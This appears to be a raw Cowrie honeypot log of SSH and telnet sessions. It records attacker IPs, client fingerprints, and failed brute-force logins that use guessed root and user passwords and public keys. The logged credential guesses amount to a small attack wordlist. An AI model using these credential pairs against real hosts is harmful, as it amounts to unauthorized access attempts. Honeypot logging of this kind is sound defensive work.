{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:19:16.687228Z","src_ip":"45.61.187.220","session":"92416d09d722","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"nb","password":"nb","message":"login attempt [nb/nb] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:19:16.915826Z","src_ip":"45.61.187.220","session":"92416d09d722","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:19:17.479062Z","src_ip":"185.153.231.45","session":"b66136aa1bea","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.3","message":"Connection lost after 1.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:19:17.968424Z","src_ip":"45.61.187.220","session":"92416d09d722","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"159.195.79.219","src_port":51012,"dst_ip":"10.17.0.5","dst_port":22,"session":"fc54d3585464","protocol":"ssh","message":"New connection: 159.195.79.219:51012 (10.17.0.5:22) [session: fc54d3585464]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:19:37.421216Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:19:37.426152Z","src_ip":"159.195.79.219","session":"fc54d3585464","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:19:37.517375Z","src_ip":"159.195.79.219","session":"fc54d3585464","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"!@#QWE123qwe","message":"login attempt [root/!@#QWE123qwe] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:19:37.912363Z","src_ip":"159.195.79.219","session":"fc54d3585464","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:19:39.005800Z","src_ip":"159.195.79.219","session":"fc54d3585464","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":31.27028250694275,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:19:40.768766Z","src_ip":"74.91.213.120","session":"3f1b6bd15389","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"107.0.200.227","src_port":50166,"dst_ip":"159.203.135.109","dst_port":22,"session":"f82a5f8615a9","protocol":"ssh","message":"New connection: 107.0.200.227:50166 (159.203.135.109:22) [session: f82a5f8615a9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:19:48.456232Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:19:48.460550Z","src_ip":"107.0.200.227","session":"f82a5f8615a9","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:19:48.497836Z","src_ip":"107.0.200.227","session":"f82a5f8615a9","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"zp123","message":"login attempt [root/zp123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:19:48.662801Z","src_ip":"107.0.200.227","session":"f82a5f8615a9","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"125.16.27.190","src_port":59630,"dst_ip":"159.203.135.109","dst_port":22,"session":"674aad3df265","protocol":"ssh","message":"New connection: 125.16.27.190:59630 (159.203.135.109:22) [session: 674aad3df265]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:19:48.760368Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:19:48.765152Z","src_ip":"125.16.27.190","session":"674aad3df265","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:19:49.028813Z","src_ip":"125.16.27.190","session":"674aad3df265","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.2","message":"Connection lost after 1.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:19:49.698344Z","src_ip":"107.0.200.227","session":"f82a5f8615a9","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"just4you","message":"login attempt [root/just4you] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:19:50.145900Z","src_ip":"125.16.27.190","session":"674aad3df265","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.6","message":"Connection lost after 2.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:19:51.410145Z","src_ip":"125.16.27.190","session":"674aad3df265","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"185.153.231.45","src_port":45512,"dst_ip":"159.203.135.109","dst_port":22,"session":"91c4a82251b4","protocol":"ssh","message":"New connection: 185.153.231.45:45512 (159.203.135.109:22) [session: 91c4a82251b4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:19:59.447516Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:19:59.452264Z","src_ip":"185.153.231.45","session":"91c4a82251b4","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:19:59.587286Z","src_ip":"185.153.231.45","session":"91c4a82251b4","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"rsacgo23","password":"8.5vHtXSSViFDvKi+TB.","message":"login attempt [rsacgo23/8.5vHtXSSViFDvKi+TB.] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:20:00.139230Z","src_ip":"185.153.231.45","session":"91c4a82251b4","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:20:01.280918Z","src_ip":"185.153.231.45","session":"91c4a82251b4","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"66.113.163.125","src_port":55848,"dst_ip":"159.203.135.109","dst_port":22,"session":"29f4aec42cb3","protocol":"ssh","message":"New connection: 66.113.163.125:55848 (159.203.135.109:22) [session: 29f4aec42cb3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:20:08.912721Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:20:08.917549Z","src_ip":"66.113.163.125","session":"29f4aec42cb3","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:20:08.954567Z","src_ip":"66.113.163.125","session":"29f4aec42cb3","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"spargeosu#^%*&138cucapulinpicior","message":"login attempt [root/spargeosu#^%*&138cucapulinpicior] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:20:09.133352Z","src_ip":"66.113.163.125","session":"29f4aec42cb3","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.3","message":"Connection lost after 1.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:20:10.173422Z","src_ip":"66.113.163.125","session":"29f4aec42cb3","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"208.87.243.43","src_port":41148,"dst_ip":"10.17.0.5","dst_port":22,"session":"0d639be56b26","protocol":"ssh","message":"New connection: 208.87.243.43:41148 (10.17.0.5:22) [session: 0d639be56b26]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:20:17.776625Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.11.0","message":"Remote SSH version: SSH-2.0-libssh2_1.11.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:20:17.781398Z","src_ip":"208.87.243.43","session":"0d639be56b26","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"14b2ddda386a4d1006108ccd231b42fc","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group16-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com,hmac-sha1,hmac-sha1-etm@openssh.com,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group16-sha512","diffie-hellman-group18-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","ext-info-c"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-rsa-cert-v01@openssh.com","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com","hmac-sha1","hmac-sha1-etm@openssh.com","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 14b2ddda386a4d1006108ccd231b42fc","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:20:17.852329Z","src_ip":"208.87.243.43","session":"0d639be56b26","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"29:5a:38:06:f7:e5:1e:42:fd:21:b4:55:17:af:42:a4","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQC5fAmQas+zlWyWX+SI42lOeR6hOX80MOce6XOSNXQH0Em5a02TYDFpXeKBAuiW+mRK/iFqRmf9+fnuIfpC2UWdpv9vVGi1rHj4/sgiq2nixHNsL4CBn8Mby2BBF8Itb44YA1YyNbC8Y3Io5Sgo6RDfRwzFi6CACJE9HvjvSC2MlauAxHKOGKiQNlgDInXA/jIXCghrJtKn9I3D+5/dWu8BpjrHiYfDMawf+tfdLNJAZYhwYN9qxtobiaap2bFZujKJAV6qPdJkS3fcxVAMKtJCT+zmv0DdMULtnP/n1McMWzdR7c8XjSVJ5JVEYEYkFRaFHbZhorX6048KYDo3Zkqv","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 29:5a:38:06:f7:e5:1e:42:fd:21:b4:55:17:af:42:a4","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:20:18.196399Z","src_ip":"208.87.243.43","session":"0d639be56b26","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"29:5a:38:06:f7:e5:1e:42:fd:21:b4:55:17:af:42:a4","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQC5fAmQas+zlWyWX+SI42lOeR6hOX80MOce6XOSNXQH0Em5a02TYDFpXeKBAuiW+mRK/iFqRmf9+fnuIfpC2UWdpv9vVGi1rHj4/sgiq2nixHNsL4CBn8Mby2BBF8Itb44YA1YyNbC8Y3Io5Sgo6RDfRwzFi6CACJE9HvjvSC2MlauAxHKOGKiQNlgDInXA/jIXCghrJtKn9I3D+5/dWu8BpjrHiYfDMawf+tfdLNJAZYhwYN9qxtobiaap2bFZujKJAV6qPdJkS3fcxVAMKtJCT+zmv0DdMULtnP/n1McMWzdR7c8XjSVJ5JVEYEYkFRaFHbZhorX6048KYDo3Zkqv","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:20:18.200577Z","src_ip":"208.87.243.43","session":"0d639be56b26","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"cb:94:da:cf:bb:f2:a9:f9:1a:04:bd:6a:49:6e:c1:b2","key":"ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIB1IJBo6m4vVHmm3CCfLW4yj4ENwUlT8ZlqVscTagpn1","type":"ssh-ed25519","message":"public key attempt for user root of type ssh-ed25519 with fingerprint cb:94:da:cf:bb:f2:a9:f9:1a:04:bd:6a:49:6e:c1:b2","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:20:18.273962Z","src_ip":"208.87.243.43","session":"0d639be56b26","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"cb:94:da:cf:bb:f2:a9:f9:1a:04:bd:6a:49:6e:c1:b2","key":"ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIB1IJBo6m4vVHmm3CCfLW4yj4ENwUlT8ZlqVscTagpn1","type":"ssh-ed25519","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:20:18.277827Z","src_ip":"208.87.243.43","session":"0d639be56b26","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"f9:6c:79:ff:e7:5c:5c:4a:44:cc:d5:05:50:28:31:98","key":"ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIO9sb6DBdVpN+nL7bC60JUlbsb45FoLu8jFLU/QNbWl2","type":"ssh-ed25519","message":"public key attempt for user root of type ssh-ed25519 with fingerprint f9:6c:79:ff:e7:5c:5c:4a:44:cc:d5:05:50:28:31:98","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:20:18.349007Z","src_ip":"208.87.243.43","session":"0d639be56b26","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"f9:6c:79:ff:e7:5c:5c:4a:44:cc:d5:05:50:28:31:98","key":"ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIO9sb6DBdVpN+nL7bC60JUlbsb45FoLu8jFLU/QNbWl2","type":"ssh-ed25519","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:20:18.353076Z","src_ip":"208.87.243.43","session":"0d639be56b26","protocol":"ssh"}
